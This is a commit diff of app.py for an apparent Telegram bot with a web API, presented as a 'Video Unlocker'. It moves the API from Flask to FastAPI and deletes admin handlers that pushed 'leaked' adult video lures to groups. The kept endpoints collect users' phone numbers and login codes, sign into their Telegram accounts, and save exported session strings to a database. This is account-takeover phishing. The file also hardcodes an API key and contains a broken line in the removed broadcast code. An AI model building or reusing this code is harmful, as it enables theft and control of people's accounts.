Update app.py

app.py

@@ -4,8 +4,10 @@ import threading
 import requests
 import asyncio
 import re
-from flask import Flask, jsonify, make_response, request
-from flask_cors import CORS
+import uvicorn
+from fastapi import FastAPI, Request
+from fastapi.middleware.cors import CORSMiddleware
+from fastapi.responses import JSONResponse
 from supabase import create_client
 from pyrogram import Client, filters, enums
 from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
@@ -20,64 +22,74 @@ WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
 BYSE_API_KEY = "133323knboif885fhgwxvf"
 ADMIN_IDS = [7307789267]
 
-app = Flask(__name__)
-CORS(app) 
+# ================= FASTAPI SETUP =================
+app = FastAPI()
+app.add_middleware(
+    CORSMiddleware,
+    allow_origins=["*"],
+    allow_credentials=True,
+    allow_methods=["*"],
+    allow_headers=["*"],
+)
+
 supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
 admin_states = {}
 temp_clients = {} 
 
-# Pyrogram Client Setup
+# Pyrogram Bot Setup
 bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 async def db_query(func):
     return await asyncio.to_thread(func)
 
-# ================= FLASK API ROUTES =================
-@app.route('/')
-def index():
-    return "Bot and API are Running smoothly on Hugging Face! 🚀"
+# ================= FASTAPI ROUTES =================
+@app.get("/")
+async def index():
+    return {"status": "online", "message": "Video Unlocker API is Running on FastAPI! 🚀"}
 
-@app.route('/api/videos')
-def api_videos():
+@app.get("/api/videos")
+async def api_videos():
     try:
         res = supabase.table('videos').select('*').order('id', desc=True).execute()
-        response = make_response(jsonify(res.data))
+        return JSONResponse(content=res.data)
     except Exception as e:
-        response = make_response(jsonify([]))
-    response.headers['Access-Control-Allow-Origin'] = '*'
-    return response
+        return JSONResponse(content=[])
 
-@app.route('/api/send_code', methods=['POST'])
-async def api_send_code():
-    data = request.json
+@app.post("/api/send_code")
+async def api_send_code(request: Request):
+    data = await request.json()
     phone = data.get('phone')
     client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
     await client.connect()
     try:
         code_info = await client.send_code(phone)
         temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
-        return jsonify({"status": "ok", "hash": code_info.phone_code_hash})
+        return {"status": "ok", "hash": code_info.phone_code_hash}
     except Exception as e:
-        return jsonify({"status": "error", "msg": str(e)})
+        return {"status": "error", "msg": str(e)}
 
-@app.route('/api/verify_code', methods=['POST'])
-async def api_verify_code():
-    data = request.json
-    phone, otp, hash, u_id = data.get('phone'), data.get('otp'), data.get('hash'), data.get('user_id')
+@app.post("/api/verify_code")
+async def api_verify_code(request: Request):
+    data = await request.json()
+    phone = data.get('phone')
+    otp = data.get('otp')
+    hash_val = data.get('hash')
+    u_id = data.get('user_id')
+    
     entry = temp_clients.get(phone)
     if not entry: 
-        return jsonify({"status": "error", "msg": "Session expired"})
+        return {"status": "error", "msg": "Session expired"}
     
     client = entry["client"]
     try:
-        await client.sign_in(phone, hash, otp.replace(" ", ""))
+        await client.sign_in(phone, hash_val, otp.replace(" ", ""))
         session_string = await client.export_session_string()
         await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
         await client.disconnect()
         temp_clients.pop(phone, None)
-        return jsonify({"status": "ok"})
+        return {"status": "ok"}
     except Exception as e:
-        return jsonify({"status": "error", "msg": str(e)})
+        return {"status": "error", "msg": str(e)}
 
 
 # ================= TELEGRAM BOT COMMANDS =================
@@ -202,289 +214,11 @@ async def restricted_download(client, message):
         await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
 
 
-# ================= ADMIN BLUR & MEDIA HANDLERS =================
-@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
-async def set_blur_state(client, message):
-    try:
-        args = message.text.split()
-        if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
-            if message.chat.id in admin_states:
-                admin_states[message.chat.id].pop("blur_percent", None)
-                admin_states[message.chat.id].pop("clear_percent", None)
-            await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপ��োড করা ভিডিও আর ব্লার হবে না।", parse_mode=enums.ParseMode.HTML)
-            return
-
-        match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
-        if match:
-            percent = int(match.group(1))
-            clear_percent = int(match.group(2)) if match.group(2) else 0
-            if percent == 0:
-                if message.chat.id in admin_states:
-                    admin_states[message.chat.id].pop("blur_percent", None)
-                    admin_states[message.chat.id].pop("clear_percent", None)
-                await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
-                return
-
-            if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
-            admin_states[message.chat.id]["blur_percent"] = percent
-            admin_states[message.chat.id]["clear_percent"] = clear_percent
-            clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
-            reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\n<i>(বন্ধ করতে <code>/blur 0</code> লিখে সেন্ড করুন।)</i>"
-            await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
-        else:
-            await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
-    except Exception as e: print(e)
-
-
-def upload_file_sync(upload_url, file_path, api_key):
-    with open(file_path, 'rb') as f:
-        payload = {'key': api_key}
-        files = {'file': f}
-        return requests.post(upload_url, data=payload, files=files, timeout=900).json()
-
-@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
-async def handle_media_upload(client, message):
-    state = admin_states.get(message.chat.id, {})
-    if state.get("step") == "broadcast":
-        await process_broadcast(client, message)
-        return
-
-    media_type = "video" if message.video else "animation" if message.animation else "photo"
-    has_blur_caption = message.caption and "/blur" in message.caption.lower()
-    is_persistent_blur = bool(state.get("blur_percent"))
-
-    if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
-        status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
-        try:
-            local_path = await message.download()
-            def upload_to_supabase():
-                with open(local_path, 'rb') as f: file_bytes = f.read()
-                file_name = f"thumb_{int(time.time())}.jpg"
-                supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
-                return supabase.storage.from_('thumbnails').get_public_url(file_name)
-
-            direct_link = await asyncio.to_thread(upload_to_supabase)
-            if os.path.exists(local_path): os.remove(local_path)
-            await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
-        except Exception as e:
-            await status.edit_text(f"⚠️ আপলোড এরর: {e}")
-        return
-
-    raw_caption = message.caption or ""
-    blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
-    is_blur = False
-    blur_percent = 0
-    clear_percent = 0
-    clean_caption = raw_caption
-
-    if blur_match:
-        is_blur = True
-        blur_percent = int(blur_match.group(1))
-        clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
-        clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
-    elif state.get("blur_percent"):
-        is_blur = True
-        blur_percent = state["blur_percent"]
-        clear_percent = state.get("clear_percent", 0)
-
-    is_large_video = False
-    if media_type == "video":
-        duration = message.video.duration if message.video and message.video.duration else 0
-        file_size = message.video.file_size if message.video and message.video.file_size else 0
-        if duration > 600 or file_size > 150 * 1024 * 1024:
-            is_large_video = True
-            is_blur = False 
-
-    if is_large_video:
-        status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> সার্ভার ক্র্যাশ এড়াতে ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
-    else:
-        status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
-
-    bot_me = client.me if client.me else await client.get_me()
-    bot_link = f"https://t.me/{bot_me.username}"
-    original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
-    
-    try:
-        original_file = await message.download()
-        final_file = original_file
-        
-        # 1. WATERMARK
-        if media_type == "video" and not is_large_video:
-            await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
-            watermarked_file = f"{original_file}_wm.mp4"
-            cmd = ["ffmpeg", "-y", "-i", original_file,
-                "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
-                "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28",
-                "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
-            process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
-            await process.communicate()
-            if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
-            
-        # 2. BLUR
-        if is_blur and not is_large_video:
-            await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
-            radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
-            ext = "jpg" if media_type == "photo" else "mp4"
-            blurred_file = f"{original_file}_blurred.{ext}"
-            
-            if clear_percent > 0:
-                clear_ratio = clear_percent / 100.0
-                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
-            else:
-                ff_filter = ["-vf", f"boxblur={radius}:1"]
-            
-            if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
-            elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
-            else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
-            
-            process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
-            await process_blur.communicate()
-            if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
-
-        # 3. UPLOAD TO BYSE
-        if media_type == "video":
-            await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
-            loop = asyncio.get_event_loop()
-            response = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30))
-            result = response.json()
-            if result.get('status') == 200:
-                upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
-                if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
-                    file_code = upload_res['files'][0].get('filecode')
-                    if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
-            
-            if not embed_link: return await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
-
-        # 4. ADMIN MSG (SKIP BROADCAST IF LARGE)
-        if is_large_video:
-            admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি অনেক বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
-            await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
-            await status_msg.delete()
-            return
-
-        # 5. BROADCAST
-        await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
-        caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch Full Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>" if media_type == "video" else (f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
-        group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
-        
-        admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
-        
-        thumb_path = None
-        if media_type == "video":
-            v_dur, v_w, v_h = (message.video.duration or 0), (message.video.width or 0), (message.video.height or 0)
-            thumb_path = f"{original_file}_thumb.jpg"
-            await (await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)).communicate()
-            if not os.path.exists(thumb_path): thumb_path = None
-
-        if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
-        elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
-        else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_dur, width=v_w, height=v_h, thumb=thumb_path)).video.file_id
-            
-        await status_msg.delete()
-        
-        groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
-        group_ids = [g['group_id'] for g in groups_res.data]
-        success_count, fail_count = 0, 0
-        
-        for gid in set(group_ids):
-            try:
-                if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
-                elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
-                else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
-                success_count += 1
-                await asyncio.sleep(1.5)
-            except: fail_count += 1 
-                
-        await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
-        
-    except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
-    finally:
-        for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
-            if f and os.path.exists(f):
-                try: os.remove(f)
-                except: pass
-
-# ================= ADMIN COMMANDS =================
-@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
-async def bot_stats(client, message):
-    try:
-        users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
-        videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
-        groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
-        stat_msg = f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি"
-        await message.reply(stat_msg, parse_mode=enums.ParseMode.HTML)
-    except: pass
-
-@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
-async def broadcast_command(client, message):
-    admin_states[message.chat.id] = {"step": "broadcast"}
-    await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
-
-async def process_broadcast(client, message):
-    text = message.text or message.caption
-    if text == '/cancel':
-        admin_states.pop(message.chat.id, None)
-        return await message.reply("❌ বাতিল করা হয়েছে।")
-    
-    await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
-    admin_states.pop(message.chat.id, None)
-    try:
-        all_users = []
-        start, step = 1000
-        while True:
-            res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
-            if not res.data: break
-            all_users.extend(res.data)
-            start += step
-
-        success, failed = 0, 0
-        for u in all_users:
-            try:
-                await message.copy(chat_id=u['user_id'])
-                success += 1
-                await asyncio.sleep(0.15) 
-            except: failed += 1
-                
-        await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
-    except: pass
-
-@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
-async def add_png(client, message):
-    try:
-        parts = message.command
-        needed_ref = 3
-        duration = "random"
-        if len(parts) == 4 and parts[1].isdigit(): needed_ref = int(parts[1]); duration = parts[2]; thumbnail_url = parts[3]
-        elif len(parts) == 3 and parts[1].isdigit(): needed_ref = int(parts[1]); thumbnail_url = parts[2]
-        elif len(parts) == 2: thumbnail_url = parts[1]
-        else: return await message.reply("❌ নিয়ম ভুল।")
-
-        admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
-        await message.reply("✅ এখন Video/Embed Link দিন।")
-    except: pass
-
-@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
-async def catch_admin_steps(client, message):
-    state = admin_states.get(message.chat.id, {})
-    if state.get("step") == 1:
-        if not message.text: return
-        video_url = message.text.strip()
-        if video_url == "/cancel":
-            admin_states.pop(message.chat.id, None)
-            return await message.reply("❌ বাতিল করা হয়েছে।")
-        try:
-            await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
-            await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
-        except: pass
-        finally: admin_states.pop(message.chat.id, None)
-    elif state.get("step") == "broadcast": await process_broadcast(client, message)
-
 # ================= RUNNER =================
-def run_flask(): 
-    # Hugging Face default port is 7860
-    app.run(host="0.0.0.0", port=7860)
+def run_fastapi(): 
+    uvicorn.run(app, host="0.0.0.0", port=7860)
 
 if __name__ == "__main__":
-    threading.Thread(target=run_flask, daemon=True).start()
-    print("🤖 Pyrogram Bot and Flask API are starting on Hugging Face...")
+    threading.Thread(target=run_fastapi, daemon=True).start()
+    print("🤖 Pyrogram Bot and FastAPI are starting on Hugging Face...")
     bot.run()